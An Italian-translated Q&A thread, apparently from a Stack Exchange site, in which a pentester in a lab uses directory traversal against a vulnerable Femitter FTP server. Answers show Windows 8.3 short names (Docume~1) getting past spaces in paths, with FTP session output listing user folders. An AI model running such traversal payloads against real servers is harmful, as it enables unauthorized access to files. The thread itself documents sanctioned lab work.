Attacco trasversale alla directory FTP su directory contenenti spazi bianchi


12

Sto conducendo un pentest sanzionato in un ambiente di riferimento chiuso e ho lottato su un problema apparentemente semplice, che attualmente non riesco a risolvere.

Quando si tenta di eseguire un attacco di attraversamento di directory contro un server FTP Fermitter vulnerabile in esecuzione su un sistema operativo MS Windows, è possibile eseguire un ELENCO sulla radice del sistema (indirizzi e elenchi di contenuti modificati qui solo come riferimento):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Tuttavia, se voglio elencare il contenuto di una cartella contenente spazi bianchi come Documents and settings, non sono in grado di elencare il contenuto della directory a causa degli spazi bianchi che vengono ignorati.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Ho già provato a utilizzare diversi client FTP (CLI e GUI, su Linux e Windows) e entrambi ignorano gli spazi bianchi o impediscono l'attraversamento delle directory.

Ho anche provato a scriptare l'attacco su Python usando prima socket grezzi e poi ftplib per inviare i comandi in formato HEX direttamente al server FTP, ma senza successo.

Googling per un paio d'ore non ha prodotto una soluzione funzionante (sì, c'erano molte opzioni, che non funzionavano), ecco perché c'è qualcuno qui, che ha avuto lo stesso problema. Abbastanza sicuro, questa non è la prima volta che è necessario un tale attraversamento di directory con spazi bianchi.


Sensibilità al maiuscolo / minuscolo?
Drewbenn,

La distinzione tra maiuscole e minuscole sembra essere irrilevante per i client FTP. Almeno il client FTP GNU / Linux elenca le directory ignorando il maiuscolo / minuscolo.

1
Prova anche C: \ Docume ~ 1 \.
Cane mangia gatto mondo

1
Prova a fuggire dagli spazi con \o citando la stringa di directory
DavidPostill

1
Sono felice che abbia funzionato per te @lockout. Dal momento che hai avuto il problema di rispondere alla tua domanda, per me va bene che la accetti come risposta. Grazie per avermi accreditato.
Cane mangia gatto mondo

Risposte:


15

Soluzione suggerita da @Dogeatcatworld per utilizzare la notazione breve della directory di MS Windows come C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Davvero un buon articolo della MS Knowledge Base spiega la notazione della directory 8.3: Come Windows genera nomi di file 8.3 da nomi di file lunghi


1
OSCP vedo. Per aggiungere un suggerimento, per le directory brevi, come "Tutti gli utenti", rilascia lo spazio e usa "AllUse ~ 1". Hai trovato un modo per montare l'FTP per navigare in modo interattivo o hai appena finito di scaricare i file uno per uno.
n00b

1

Il "nome breve" è in realtà la vecchia convenzione di denominazione DOS 8.3, quindi tutte le directory saranno le prime 6 lettere seguite da ~ 1 supponendo che vi sia un solo nome corrispondente, ad esempio:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG I AM DIRECTORY
C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Un'altra directory

Ecco l'unica eccezione:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG I AM DIRECTORY
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Directory pure

Fonte: come posso trovare il breve percorso di una directory / file di Windows?


0

Ftp non usa la codifica url, quindi% xx non funzionerà se non stai usando ftp in un browser che può tradurlo per te.

Prova invece ad usare le virgolette, ad esempio: ls "../../some dir"


Ciao, se guardi ai tentativi tentati di attraversare la directory, vedrai che ho tentato più virgolette: virgoletta singola, virgoletta doppia e tick indietro. Non hanno funzionato, come rappresentato nell'elenco di output FTP. Usare% 20 era solo per sperimentare se avrebbe funzionato, a causa di tentativi disperati di provare tutte le opzioni. Ovviamente la codifica% funziona su browser e client FTP in grado di interpretarli.
blocco
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.